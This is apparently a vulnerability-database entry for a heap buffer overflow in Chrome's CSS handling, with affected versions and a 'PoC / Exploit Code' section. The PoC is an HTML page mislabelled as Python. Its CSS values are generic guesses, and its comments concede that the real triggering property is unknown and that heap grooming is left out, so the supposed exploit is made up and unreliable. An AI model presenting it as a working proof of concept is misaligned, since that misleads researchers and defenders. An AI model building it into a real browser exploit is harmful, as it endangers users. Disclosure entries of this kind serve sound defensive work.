Heap buffer overflow in CSS in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.153
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-4442 -->
<!-- This HTML page attempts to trigger the heap buffer overflow in CSS parsing -->
<!DOCTYPE html>
<html>
<head>
<style>
/* Malicious CSS designed to corrupt heap memory */
.vulnerable-object {
/* Setting extreme values or specific properties that trigger the bug */
/* Note: Specific property depends on the exact patch diff of Chrome 146.0.7680.153 */
transform: matrix(999999, 0, 0, 999999, 0, 0);
clip-path: polygon(0% 0%, 100% 0%, 100% 100%, 0% 100%);
will-change: transform, opacity;
font-feature-settings: "aaaa" on, "bbbb" on;
}
/* Heap grooming/feng shui preparation would go here in a real exploit */
.groomer {
width: 100px;
height: 100px;
background-color: red;
}
</style>
</head>
<body>
<div class="vulnerable-object">Triggering Crash</div>
<script>
// JavaScript to interact with the DOM and force layout recalculations
// to ensure the CSS engine processes the malicious styles.
document.body.style.zoom = 1.0;
alert('If the browser is vulnerable to CVE-2026-4442, it may crash now.');
</script>
</body>
</html>